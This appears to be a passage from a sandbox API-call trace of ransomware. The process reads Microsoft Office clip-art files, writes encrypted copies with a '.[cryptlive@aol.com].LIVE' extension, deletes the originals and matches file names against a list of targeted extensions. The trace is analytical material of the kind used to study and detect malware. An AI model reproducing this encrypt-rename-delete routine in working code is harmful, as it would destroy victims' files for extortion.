0x1f8 [0148.248] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=24377) returned 1 [0148.248] CloseHandle (hObject=0x1f8) returned 1 [0148.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg")) returned 0x20 [0148.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0148.248] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.248] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0148.251] GetLastError () returned 0x0 [0148.251] ReadFile (in: hFile=0x1f8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x5f39, lpOverlapped=0x0) returned 1 [0148.455] WriteFile (in: hFile=0x3b8, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x5f40, lpOverlapped=0x0) returned 1 [0148.456] ReadFile (in: hFile=0x1f8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0148.456] WriteFile (in: hFile=0x3b8, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.457] SetEndOfFile (hFile=0x3b8) returned 1 [0148.457] CloseHandle (hObject=0x3b8) returned 1 [0148.457] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.457] SetEndOfFile (hFile=0x1f8) returned 1 [0148.459] CloseHandle (hObject=0x1f8) returned 1 [0148.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.460] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg")) returned 1 [0148.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0148.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0148.461] lstrlenW (lpString=".doc") returned 4 [0148.461] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.461] lstrlenW (lpString=".docx") returned 5 [0148.461] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0148.461] lstrlenW (lpString=".pdf") returned 4 [0148.461] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.461] lstrlenW (lpString=".xls") returned 4 [0148.461] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.461] lstrlenW (lpString=".xlsx") returned 5 [0148.461] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0148.461] lstrlenW (lpString=".ppt") returned 4 [0148.461] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0148.461] lstrlenW (lpString=".zip") returned 4 [0148.461] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.461] lstrlenW (lpString=".rar") returned 4 [0148.461] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.461] lstrlenW (lpString=".bz2") returned 4 [0148.461] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.461] lstrlenW (lpString=".7z") returned 3 [0148.461] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0148.461] lstrlenW (lpString=".dbf") returned 4 [0148.461] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0148.461] lstrlenW (lpString=".1cd") returned 4 [0148.462] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0148.462] lstrlenW (lpString=".jpg") returned 4 [0148.462] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0148.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0148.462] lstrlenW (lpString=".doc") returned 4 [0148.462] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.462] lstrlenW (lpString=".docx") returned 5 [0148.462] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0148.462] lstrlenW (lpString=".pdf") returned 4 [0148.462] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.462] lstrlenW (lpString=".xls") returned 4 [0148.462] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.462] lstrlenW (lpString=".xlsx") returned 5 [0148.462] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0148.462] lstrlenW (lpString=".ppt") returned 4 [0148.462] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0148.462] lstrlenW (lpString=".zip") returned 4 [0148.462] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.462] lstrlenW (lpString=".rar") returned 4 [0148.462] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.462] lstrlenW (lpString=".bz2") returned 4 [0148.462] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.462] lstrlenW (lpString=".7z") returned 3 [0148.462] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0148.462] lstrlenW (lpString=".dbf") returned 4 [0148.462] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0148.462] lstrlenW (lpString=".1cd") returned 4 [0148.462] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0148.462] lstrlenW (lpString=".jpg") returned 4 [0148.462] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.463] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0148.463] lstrlenW (lpString="J0099154.JPG") returned 12 [0148.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0148.646] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=6929) returned 1 [0148.646] CloseHandle (hObject=0x3c8) returned 1 [0148.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg")) returned 0x20 [0148.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.672] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.672] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.673] GetLastError () returned 0x0 [0148.673] ReadFile (in: hFile=0x38c, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x1b11, lpOverlapped=0x0) returned 1 [0148.687] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1b20, lpOverlapped=0x0) returned 1 [0148.688] ReadFile (in: hFile=0x38c, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0148.688] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.689] SetEndOfFile (hFile=0x384) returned 1 [0148.689] CloseHandle (hObject=0x384) returned 1 [0148.689] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.689] SetEndOfFile (hFile=0x38c) returned 1 [0148.691] CloseHandle (hObject=0x38c) returned 1 [0148.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.692] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg")) returned 1 [0148.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0148.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0148.692] lstrlenW (lpString=".doc") returned 4 [0148.692] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.692] lstrlenW (lpString=".docx") returned 5 [0148.692] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0148.692] lstrlenW (lpString=".pdf") returned 4 [0148.692] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.692] lstrlenW (lpString=".xls") returned 4 [0148.692] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.693] lstrlenW (lpString=".xlsx") returned 5 [0148.693] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0148.693] lstrlenW (lpString=".ppt") returned 4 [0148.693] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0148.693] lstrlenW (lpString=".zip") returned 4 [0148.693] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.693] lstrlenW (lpString=".rar") returned 4 [0148.693] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.693] lstrlenW (lpString=".bz2") returned 4 [0148.693] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.693] lstrlenW (lpString=".7z") returned 3 [0148.693] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0148.693] lstrlenW (lpString=".dbf") returned 4 [0148.693] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0148.693] lstrlenW (lpString=".1cd") returned 4 [0148.693] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0148.693] lstrlenW (lpString=".jpg") returned 4 [0148.693] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0148.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0148.693] lstrlenW (lpString=".doc") returned 4 [0148.693] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.693] lstrlenW (lpString=".docx") returned 5 [0148.693] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0148.693] lstrlenW (lpString=".pdf") returned 4 [0148.693] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.693] lstrlenW (lpString=".xls") returned 4 [0148.693] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.693] lstrlenW (lpString=".xlsx") returned 5 [0148.693] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0148.693] lstrlenW (lpString=".ppt") returned 4 [0148.694] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0148.694] lstrlenW (lpString=".zip") returned 4 [0148.694] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.694] lstrlenW (lpString=".rar") returned 4 [0148.694] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.694] lstrlenW (lpString=".bz2") returned 4 [0148.694] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.694] lstrlenW (lpString=".7z") returned 3 [0148.694] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0148.694] lstrlenW (lpString=".dbf") returned 4 [0148.694] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0148.694] lstrlenW (lpString=".1cd") returned 4 [0148.694] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0148.694] lstrlenW (lpString=".jpg") returned 4 [0148.694] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.694] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0148.694] lstrlenW (lpString="J0099159.WMF") returned 12 [0148.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.695] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=27546) returned 1 [0148.695] CloseHandle (hObject=0x38c) returned 1 [0148.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf")) returned 0x20 [0148.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.695] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.696] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.696] GetLastError () returned 0x0 [0148.696] ReadFile (in: hFile=0x38c, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x6b9a, lpOverlapped=0x0) returned 1 [0148.718] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x6ba0, lpOverlapped=0x0) returned 1 [0148.720] ReadFile (in: hFile=0x38c, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0148.720] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.720] SetEndOfFile (hFile=0x384) returned 1 [0148.720] CloseHandle (hObject=0x384) returned 1 [0148.720] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.720] SetEndOfFile (hFile=0x38c) returned 1 [0148.724] CloseHandle (hObject=0x38c) returned 1 [0148.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.807] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf")) returned 1 [0148.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0148.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0148.842] lstrlenW (lpString=".doc") returned 4 [0148.842] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.842] lstrlenW (lpString=".docx") returned 5 [0148.842] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0148.842] lstrlenW (lpString=".pdf") returned 4 [0148.842] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.842] lstrlenW (lpString=".xls") returned 4 [0148.842] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.842] lstrlenW (lpString=".xlsx") returned 5 [0148.842] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0148.842] lstrlenW (lpString=".ppt") returned 4 [0148.842] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0148.842] lstrlenW (lpString=".zip") returned 4 [0148.842] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.842] lstrlenW (lpString=".rar") returned 4 [0148.842] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.842] lstrlenW (lpString=".bz2") returned 4 [0148.842] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.842] lstrlenW (lpString=".7z") returned 3 [0148.842] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0148.843] lstrlenW (lpString=".dbf") returned 4 [0148.843] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0148.843] lstrlenW (lpString=".1cd") returned 4 [0148.843] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0148.843] lstrlenW (lpString=".jpg") returned 4 [0148.843] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0148.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0148.843] lstrlenW (lpString=".doc") returned 4 [0148.843] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.843] lstrlenW (lpString=".docx") returned 5 [0148.843] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0148.843] lstrlenW (lpString=".pdf") returned 4 [0148.843] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.843] lstrlenW (lpString=".xls") returned 4 [0148.843] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.843] lstrlenW (lpString=".xlsx") returned 5 [0148.843] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0148.843] lstrlenW (lpString=".ppt") returned 4 [0148.843] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0148.843] lstrlenW (lpString=".zip") returned 4 [0148.843] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.843] lstrlenW (lpString=".rar") returned 4 [0148.843] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.843] lstrlenW (lpString=".bz2") returned 4 [0148.843] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.843] lstrlenW (lpString=".7z") returned 3 [0148.843] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0148.843] lstrlenW (lpString=".dbf") returned 4 [0148.844] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0148.844] lstrlenW (lpString=".1cd") returned 4 [0148.844] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0148.844] lstrlenW (lpString=".jpg") returned 4 [0148.844] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.844] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0148.844] lstrlenW (lpString="J0099169.WMF") returned 12 [0148.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0148.844] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=10192) returned 1 [0148.844] CloseHandle (hObject=0x328) returned 1 [0148.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf")) returned 0x20 [0148.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft 